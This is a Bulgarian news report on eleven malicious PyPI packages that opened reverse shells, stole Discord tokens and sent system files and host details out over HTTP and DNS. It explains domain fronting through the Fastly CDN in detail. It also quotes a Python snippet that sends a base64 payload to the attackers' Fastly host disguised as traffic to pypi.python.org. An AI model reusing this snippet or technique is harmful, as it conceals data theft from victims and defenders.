В каталога PyPI са открити злонамерени библиотеки, използващи CDN PyPI за прикритие на канала за комуникация

В каталога PyPI (Python Package Index) са открити 11 пакета, съдържащи злонамерен код. Преди да бъдат установени проблемите, пакетите бяха изтеглени около 38 хиляди пъти. Откритите злонамерени пакети се отличават с използване на сложни методи за скриване на каналите за свързване с сървърите на злонамерените лица.

• importantpackage (6305 изтегляния), important-package (12897) — установявали са връзка с външен сървър, представяйки се за свързване с pypi.python.org, за да предоставят shell-достъп до системата (обратен shell) и са използвали програмата trevorc2 за скриване на канала за свързване.
• pptest (10001), ipboards (946) — използвали са DNS като канал за свързване за предаване на информация за системата (в първия пакет — име на хоста, работна директория, вътрешен и външен IP, във втория — име на потребителя и хоста).
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) — откривали са токена на Discord в системата и са го изпращали на външен хост.
• trrfab (287) — изпращал е на външен хост идентификатора, името на хоста и съдържанието на /etc/passwd, /etc/hosts, /home.
• 10Cent10 (490) — е установявал обратна shell-връзка с външен хост.
• yandex-yt (4183) — е извеждал съобщение за компрометиране на системата и е пренасочвал към страница с допълнителна информация за следващи действия, предоставяна чрез nda.ya.ru (api.ya.cc).

Особено внимание заслужава методът на свързване с външни хостове, използван в пакетите importantpackage и important-package, които са скривали своята активност зад мрежата за доставка на съдържание Fastly, използвана в каталога PyPI. Всъщност, запитванията са били изпращани до сървъра pypi.python.org (включително, посочвайки името python.org в SNI в рамките на HTTPS запитването), но в HTTP-заглавието „Host“ е било посочвано името на сървъра, контролирано от атакуващите (sec.forward.io.global.prod.fastly.net). Мрежата за доставка на съдържание е пренасочвала подобни запитвания към сървъра на атакуващите, използвайки параметрите на TLS-соединението с pypi.python.org за предаване на данните.

Работата на инфраструктурата на PyPI се осигурява с помощта на мрежата за доставка на съдържание Fastly, в която за кеширане на стандартни запитвания се използва прозрачен прокси Varnish, а също така се извършва обработка на TLS-сертификати на нивото на CDN, а не на крайните сървъри, за организиране на пробив на HTTPS-запитванията чрез проксито. Независимо от целевия хост, запитванията се насочват към проксито, което определя необходимия хост по HTTP-заглавието „Host“, а домейни Хостовете се свързват с типови IP адреси на CDN балансировачите на натоварване Fastly, които са общи за всички клиенти.

Сървърът на атакуващите също е регистриран в CDN Fastly, който предлага безплатни тарифни планове за всеки желаещ и допуска анонимна регистрация. Интересно е, че за изпращане на заявки към жертвата при създаване на "обратен шел" се използва същата схема, но инициирана от страна на хоста на злонамерителите. От тяхна страна взаимодействието с сървъра на атакуващите изглежда като легитимна сесия с каталога PyPI, шифрована с TLS сертификат PyPI. Тази техника, известна като "domain fronting", преди това активно се използваше за скриване на името на хоста при заобикаляне на блокировки, използвайки възможността, предоставена от някои CDN мрежи, да се обърне по HTTPS с фиктивно име на хост в SNI и фактическа предаване на името на запитвания хост в HTTP заглавието Host в рамките на TLS сесия.

За скриване на злонамерената активност допълнително бе използван пакетът TrevorC2, позволяващ взаимодействието с сървъра да изглежда като обикновен уеб сърфинг, например злонамерените запитвания бяха изпратени под формата на зареждане на изображение "https://pypi.python.org/images/guid=" с кодиране на информацията в параметъра guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

В пакетите pptest и ipboards бе приложен друг подход за скриване на мрежовата активност, основан на кодиране на полезна информация в запитвания към DNS сървъра. Зловредният софтуер предава информация, извършвайки DNS запитвания от типа "nu4timjagq4fimbuhe.example.com", в които данните, изпращани към управляващия сървър, са кодирани чрез base64 формата в името на поддомейна. Злонамерителят получава данните от съобщението, контролирайки DNS сървъра за домейна example.com.

Източник: opennet.ru